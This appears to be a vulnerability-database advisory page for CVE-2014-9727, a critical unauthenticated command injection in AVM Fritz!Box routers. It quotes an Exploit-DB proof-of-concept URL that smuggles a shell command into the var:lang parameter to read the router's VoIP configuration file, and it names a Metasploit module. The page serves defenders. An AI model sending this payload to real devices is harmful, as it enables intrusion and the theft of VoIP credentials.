CVE-2014-9727

critical

Published 2015-05-29 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

AVM Fritz!Box allows remote attackers to execute arbitrary commands via shell metacharacters in the var:lang parameter to cgi-bin/webcm.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-33136 webapps hardware text · 1 KB

0x4148 · 2014-05-01

Fritz!Box - Remote Command Execution

text exploit Source: Exploit-DB

App : Fritz!Box
Author : 0x4148

Fritz!Box is Networking/voice Over ip router produced by AVM it suffer from Unauthenticated remote command execution flaw

Poc :
https://ip/cgi-bin/webcm?getpage=../html/menus/menu2.html&var:lang=%26%20cat%20/var/flash/voip.cfg%20%26

#0x4148_rise

Metasploit modules

exploit_linux/http/fritzbox_echo_exec rank 600

Fritz!Box Webcm Unauthenticated Command Injection

Source fetch failed: fetch_error — view the original via the link above.

Application impact

Vendor	Product	Versions	Fixed
avm	fritz\!box

References

CWEs

CWE-78

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.